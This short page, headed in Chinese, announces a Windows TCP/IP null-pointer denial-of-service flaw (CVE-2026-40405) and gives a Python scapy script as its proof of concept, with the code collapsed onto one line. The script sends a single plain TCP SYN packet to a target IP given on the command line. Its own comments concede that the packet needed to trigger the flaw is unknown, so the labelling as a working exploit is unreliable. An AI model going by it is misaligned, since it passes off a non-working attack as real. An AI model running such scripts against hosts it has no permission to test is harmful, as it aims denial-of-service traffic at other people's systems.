CVE-2026-40405 Windows TCP/IP空指针解引用拒绝服务漏洞

import sys from scapy.all import * # Note: This is a generic PoC for demonstration purposes. # The specific packet structure to trigger CVE-2026-40405 requires detailed vulnerability analysis. def send_malicious_packet(target_ip): # Construct a crafted TCP packet # In a real scenario, specific flags or options would be set to trigger the null pointer dereference ip_layer = IP(dst=target_ip) tcp_layer = TCP(sport=RandShort(), dport=80, flags="S", options=[("MSS", 1460)]) # Send the packet send(ip_layer/tcp_layer, verbose=0) print(f"[*] Malicious packet sent to {target_ip}") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python cve_poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_malicious_packet(target)